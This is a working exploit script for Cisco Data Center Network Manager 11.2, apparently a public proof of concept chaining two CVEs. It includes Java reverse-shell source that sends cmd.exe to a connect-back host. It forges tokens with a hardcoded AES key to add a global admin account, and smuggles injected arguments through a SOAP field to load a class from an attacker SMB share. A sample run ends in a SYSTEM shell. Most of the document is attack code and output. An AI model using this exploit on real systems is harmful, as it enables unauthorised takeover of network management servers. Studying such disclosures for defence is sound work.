Cisco Data Center Network Manager 11.2 – Remote Code Execution
#!/usr/bin/python """ Cisco Data Center Network Manager SanWS importTS Command Injection Remote Code Execution Vulnerability Tested on: Cisco DCNM 11.2.1 Installer for Windows (64-bit) - Release: 11.2(1) - Release Date: 18-Jun-2019 - FileName: dcnm-installer-x64-windows.11.2.1.exe.zip - Size: 1619.36 MB (1698022100 bytes) - MD5 Checksum: e50f8a6b2b3b014ec022fe40fabcb6d5 Bug 1: CVE-2019-15975 / ZDI-20-003 Bug 2: CVE-2019-15979 / ZDI-20-100 Notes: ====== Si.java needs to be compiled against Java 8 (the target used 1.8u201): import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; public class Si { static{ try { String host = "192.168.100.159"; int port = 1337; String cmd = "cmd.exe"; Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s = new Socket(host,port); InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream(); OutputStream po = p.getOutputStream(), so = s.getOutputStream(); while(!s.isClosed()){ while(pi.available()>0){ so.write(pi.read()); } while(pe.available()>0){ so.write(pe.read()); } while(si.available()>0){ po.write(si.read()); } so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; }catch (Exception e){} } p.destroy(); s.close(); }catch (IOException | InterruptedException e){ } } } Example: ======== 1. Modify the above Si.java to contain your connectback ip and port 2. Compile the above Si.java class with Java 8 and store it in an attacker controlled share 3. Launch the poc.py against your target using the share saturn:~ mr_me$ ./poc.py (+) usage: ./poc.py <target> <connectback:port> <smbserver> <smbpath> (+) eg: ./poc.py 192.168.100.122 192.168.100.159:1337 vmware-host '\Shared Folders\tools' saturn:~ mr_me$ ./poc.py 192.168.100.122 192.168.100.159:1337 vmware-host '\Shared Folders\tools' (+) attempting auth bypass 1 (+) bypassed auth! added a global admin hacker:Hacked123 (+) attempting to load class from \\vmware-host\Shared Folders\tools\Si.class (+) starting handler on port 1337 (+) connection from 192.168.100.122 (+) pop thy shell! Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service>whoami whoami nt authority\system C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service> """ import re import os import sys import time import base64 import socket import requests import calendar import telnetlib from uuid import uuid4 from threading import Thread from Crypto.Cipher import AES from xml.etree import ElementTree from datetime import datetime, timedelta from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) class AESCipher: def __init__(self): # Cisco's hardcoded key self.key = "s91zEQmb305F!90a" self.bs = 16 def _pad(self, s): return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs) def encrypt(self, raw): raw = self._pad(raw) iv = "\x00" * 0x10 cipher = AES.new(self.key, AES.MODE_CBC, iv) return base64.b64encode(cipher.encrypt(raw)) def make_raw_token(target): """ craft our token """ key = "Source Incite" uuid = str(uuid4()).replace("-","")[0:20] time = leak_time(target) return "%s-%s-%s" % (key, uuid, time) def bypass_auth(target, token, usr, pwd): """ we use this primitive to fully bypass auth """ global user_added_already d = { "userName" : usr, "password" : pwd, "roleName" : "global-admin" } h = { "afw-token" : token } uri = "https://%s/fm/fmrest/dbadmin/addUser" % target r = requests.post(uri, data=d, headers=h, verify=False) try: json = r.json() except ValueError: return False if json["resultMessage"] == "Success": user_added_already = False return True elif json["resultMessage"] == "User already exists.": user_added_already = True return True return False def leak_time(target): """ leak the time from the server (not really needed) """ uri = "https://%s/" % target r = requests.get(uri, verify=False) r_time = datetime.strptime(r.headers['Date'][:-4], '%a, %d %b %Y %H:%M:%S') return calendar.timegm(r_time.timetuple()) def gen_token(target, usr, pwd): """ this authenticates via the SOAP endpoint """ soap_body = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.jaxws.dcbu.cisco.com/">' soap_body += '\t<soapenv:Header/>' soap_body += '\t<soapenv:Body>' soap_body += '\t\t<ep:requestToken>' soap_body += '\t\t\t<username>%s</username>' % usr soap_body += '\t\t\t<password>%s</password>' % pwd soap_body += '\t\t\t<expiration>100000</expiration>' soap_body += '\t\t</ep:requestToken>' soap_body += '\t</soapenv:Body>' soap_body += '</soapenv:Envelope>' uri = "https://%s/LogonWSService/LogonWS" % target r = requests.post(uri, data=soap_body, verify=False) tree = ElementTree.fromstring(r.content) for elem in tree.iter(): if elem.tag == "return": return elem.text return False def craft_soap_header(target, usr, pwd): """ this generates the soap header """ soap_header = '\t<SOAP-ENV:Header xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' soap_header += '<m:token xmlns:m="http://ep.jaxws.dcbu.cisco.com/">%s</m:token>' % gen_token(target, usr, pwd) soap_header += '\t</SOAP-ENV:Header>' return soap_header def load_remote_class(target, smb, usr, pwd): """ this triggers the cmdi """ soap_body = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">' soap_body += craft_soap_header(target, usr, pwd) soap_body += '\t<soapenv:Body>' soap_body += '\t\t<ep:importTS>' soap_body += '\t\t\t<certFile>" -providerclass Si -providerpath "%s</certFile>' % smb soap_body += '\t\t\t<serverIPAddress></serverIPAddress>' soap_body += '\t\t</ep:importTS>' soap_body += '\t</soapenv:Body>' soap_body += '</soapenv:Envelope>' uri = "https://%s/SanWSService/SanWS" % target r = requests.post(uri, data=soap_body, verify=False) tree = ElementTree.fromstring(r.content) for elem in tree.iter(): if elem.tag == "resultMessage": if elem.text == "Success": return True return False def handler(lp): print "(+) starting handler on port %d" % lp t = telnetlib.Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", lp)) s.listen(1) conn, addr = s.accept() print "(+) connection from %s" % addr[0] t.sock = conn print "(+) pop thy shell!" t.interact() def exec_code(t, lp, s, usr, pwd): handlerthr = Thread(target=handler, args=(lp,)) handlerthr.start() load_remote_class(t, s, usr, pwd) def main(): usr = "hacker" pwd = "Hacked123" if len(sys.argv) != 5: print "(+) usage: %s <target> <connectback:port> <smbserver> <smbpath>" % sys.argv[0] print "(+) eg: %s 192.168.100.122 192.168.100.159:1337 vmware-host '\\Shared Folders\\tools'" % sys.argv[0] sys.exit(1) t = sys.argv[1] c = sys.argv[2] s = "\\\\%s%s" % (sys.argv[3], sys.argv[4]) i = 0 if not ":" in c: print "(+) using default connectback port 4444" ls = c lp = 4444 else: if not c.split(":")[1].isdigit(): print "(-) %s is not a port number!" % cb.split(":")[1] sys.exit(-1) ls = c.split(":")[0] lp = int(c.split(":")[1]) # InheritableThreadLocal.childValue performs a 'shallow copy' and causes a small race condition while 1: i += 1 print "(+) attempting auth bypass %d" % i raw = make_raw_token(t) cryptor = AESCipher() token = cryptor.encrypt(raw) if bypass_auth(t, token, usr, pwd): if not user_added_already: print "(+) bypassed auth! added a global admin %s:%s" % (usr, pwd) else: print "(+) we probably already bypassed auth! try the account %s:%s" % (usr, pwd) break sys.stdout.write('\x1b[1A') sys.stdout.write('\x1b[2K') # we have bypassed the authentication at this point print "(+) attempting to load class from %s\\Si.class" % s exec_code(t, lp, s, usr, pwd) if __name__ == "__main__": main() |